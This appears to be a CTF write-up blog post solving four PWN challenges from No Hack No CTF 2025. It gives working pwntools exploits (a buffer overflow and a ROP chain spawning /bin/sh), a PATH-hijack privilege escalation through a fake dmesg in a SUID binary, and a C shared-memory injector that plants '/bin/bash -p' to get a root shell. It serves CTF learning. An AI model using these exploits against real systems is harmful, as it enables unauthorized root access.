team-logo
Published on

No Hack No CTF 2025 - PWN challenges

Authors

Introduction

The Taiwan No Hack No CTF 2025 took place from July 5th to 7th. Our team placed 5th at first, then climbed to 3rd, and finally finished 4th ;) We (or maybe just I?) managed to solve 4 out of 7 PWN challenges. All the tasks were engaging—ranging from classic pwns, to one with a tricky ROP chain, and two shell challenges where the goal was to break in and gain root access. There were also three other types of challenges, but for now, those are a bit too advanced for me. More information about this CTF can be found here.

all-pwn

clannad_is_g00d_anim3

pwn1 This was a classic buffer overflow, with the difference that we didn't get the binary, but nothing stopped us from compiling it ourselves—even the addresses matched.
from pwn import *

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc chal.78727867.xyz 9999"
ADDRESS,PORT=HOST.split()[1:]


BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)


if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)

win=binary.sym.Clannad

payload=72*b'A'+p64(win+5)
p.sendlineafter(b'enter a dango:',payload)

p.interactive()

NHNC{CLANNAD_1s_g00d_anim3_and_you_kn0w_BOF}

Baby ROP which LemonTea wants

pwn2 This task was already more difficult, supposedly a classic baby ROP, but not that simple. There was a pseudo-canary, which could be bypassed very easily. You just had to put the right value on the stack, and then those unfortunate ROPs, which I searched for quite a long time, because the buffer was also limited. I didn't feel like doing a pivot, but it probably would have been faster than searching for weird ROPs.
from pwn import *

context.log_level = 'warning'

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc chal.78727867.xyz 34000"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./main"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)

main=binary.sym.main
bss=0x4a9bb0

rop=ROP(binary)
syscall=rop.find_gadget(['syscall','ret'])[0]
pop_rax=rop.find_gadget(['pop rax','ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi','pop rbp','ret'])[0]
pop_rsi=rop.find_gadget(['pop rsi','pop rbp','ret'])[0]

xor_edi_edi=0x000000000045dbca
add_dh2=0x00000000004607c6
xor_edx_edx=0x0000000000405c03

payload1 = flat(
    8 * b'kura',
    24 * b'\x00',
    add_dh2,
    xor_edi_edi,
    pop_rsi,
    bss,
    0,
    syscall,
    main
)

p.sendlineafter(b"What's your name?",payload1)
p.send(b"/bin/sh")

payload2 = flat(
    8 * b'zaba',
    24 * b'\x00',
    pop_rdi,
    bss,0,
    pop_rax,
    59,
    pop_rsi,
    0,
    0,
    syscall
)

p.sendlineafter(b"What's your name?",payload2)
p.interactive()

NHNC{a_rop_challenge_which_LemonTea_can_solve_and_i_wanna_sleep_lemontea_u_sucker_6f325c6517bd7789}

Server Status

pwn3 This task was a bit different from the previous ones, as we were given a login to access a shell. After logging in, we found a server_status binary with the SUID bit set. We downloaded the binary via SFTP and analyzed it in Ghidra, where we noticed that it executes dmesg. Here lies a vulnerability: the binary does not use an absolute path for dmesg, so we can trick the system by changing the order of directories in the PATH environment variable. As a result, dmesg will be our own script.
mkdir /tmp/fakebin
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/fakebin/dmesg
export PATH=/tmp/fakebin:$PATH
./server_status
hacker@93a27102d15b:~$ ./server_status
=== Server Status Monitor v1.0 ===
System diagnostic tool with root privileges

Running with elevated privileges (UID: 0, GID: 0)
Initializing...
Hacking Nasa...
****************************************
Done!
=== Command Output ===
root@93a27102d15b:~# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)

NHNC{just_sharing_every_every_thing_around_world__6f35260d4dc6444faeb4092bd5c64b85}

Server Status Revenge

pwn4 This task was supposedly similar to the previous one, with the difference that this time there was an absolute path, so you couldn't get root as easily. Fortunately, it was possible to connect somehow via SHM (shared memory). I wasn't familiar with this topic before. Luckily, Grok, ChatGPT, Deepseek, and finally Copilot helped me get it done. I learned a lot of new things while working on this challenge. It's important to open two sessions: in one, you run and listen with your injector, and in the other, you launch server_status.

Upload this code to the server and compile it. The best way is to paste the contents using cat > shm-injection.c (ctrl+d)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <errno.h>

#define MAX_SHM_SIZE 1024
#define EXPECTED_PERMS 0666 // Uprawnienia segmentu z server_status (0x3b6 = 0644, ale testujemy też 0666)

// Funkcja do wyświetlania podglądu heksadecymalnego zawartości
void print_hex_preview(const char *buf, size_t len) {
    printf("[>] Hex preview:\n");
    for (size_t i = 0; i < len && i < 64; i++) {
        printf("%02x ", (unsigned char)buf[i]);
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");
}

int main() {
    printf("[*] SHM injection monitor running...\n");

    // Bufor do śledzenia widzianych shmid
    int seen[1048576] = {0}; // Zakres shmid jest wystarczająco duży

    while (1) {
        // Wykonanie ipcs -m i parsowanie wyników (key, shmid, perms)
        FILE *ipcs = popen("ipcs -m | awk 'NR>3 && $2 != \"\" {print $1, $2, $4}'", "r");
        if (!ipcs) {
            perror("[!] popen failed");
            usleep(100000); // 0.1 s
            continue;
        }

        char line[128];
        while (fgets(line, sizeof(line), ipcs)) {
            unsigned int key;
            int shmid;
            int perms;
            if (sscanf(line, "%x %d %o", &key, &shmid, &perms) != 3) {
                continue;
            }

            // Pomijamy widziane shmid lub niepasujące uprawnienia
            if (shmid < 0 || seen[shmid] || (perms != EXPECTED_PERMS && perms != 0644)) {
                continue;
            }
            seen[shmid] = 1;

            printf("[*] Checking key: 0x%08x, shmid: %d (perms: %o)\n", key, shmid, perms);

            // Uzyskanie dostępu do segmentu pamięci współdzielonej przez key
            int shm_id = shmget((key_t)key, 0, 0);
            if (shm_id == -1) {
                printf("[!] shmget failed for key 0x%08x: %s\n", key, strerror(errno));
                continue;
            }

            // Mapowanie segmentu
            char *shm_addr = (char *)shmat(shm_id, NULL, 0);
            if (shm_addr == (char *)-1) {
                printf("[!] shmat failed for shmid %d: %s\n", shmid, strerror(errno));
                continue;
            }

            // Odczyt zawartości
            char buf[MAX_SHM_SIZE];
            strncpy(buf, shm_addr, MAX_SHM_SIZE - 1);
            buf[MAX_SHM_SIZE - 1] = '\0';

            // Podgląd heksadecymalny
            print_hex_preview(buf, strlen(buf) < 64 ? strlen(buf) : 64);

            // Sprawdzenie, czy segment zawiera "dmesg"
            if (strstr(buf, "dmesg")) {
                printf("[+] Found dmesg! Injecting...\n");
                // Wstrzyknięcie polecenia
                const char *payload = "/bin/bash -p\x00";
                memcpy(shm_addr, payload, strlen(payload) + 1);
                printf("[✔] Injected into shmid: %d\n", shmid);
            }

            // Odłączenie segmentu
            if (shmdt(shm_addr) == -1) {
                printf("[!] shmdt failed for shmid %d: %s\n", shmid, strerror(errno));
            }
        }

        pclose(ipcs);
        usleep(10000); // 0.01 s dla szybszego skanowania
    }

    return 0;
}

first session

hacker@9b505f416bdd:~$ gcc shm-injection.c
hacker@9b505f416bdd:~$ ./a.out
[*] SHM injection monitor running...
[*] Checking key: 0x0003f3cf, shmid: 11 (perms: 666)
[>] Hex preview:
2f 75 73 72 2f 62 69 6e 2f 64 6d 65 73 67
[+] Found dmesg! Injecting...
[] Injected into shmid: 11

second session

./server_status
=== Server Status Monitor v1.0 ===
System diagnostic tool with root privileges

Running with elevated privileges (UID: 0, GID: 0)
Initializing...
Hacking Nasa...
****************************************
Done!
root@9b505f416bdd:~# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)

NHNC{WTF_NEVER_MADE_Challenges_at_night_especially_when_u_r_sleepy_0d7f1fcd5bae4d56a5b384b043cbb841}

Bonus

Below I am providing the binaries so you can practice, in case you are unable to find them elsewhere.

Download binaries.zip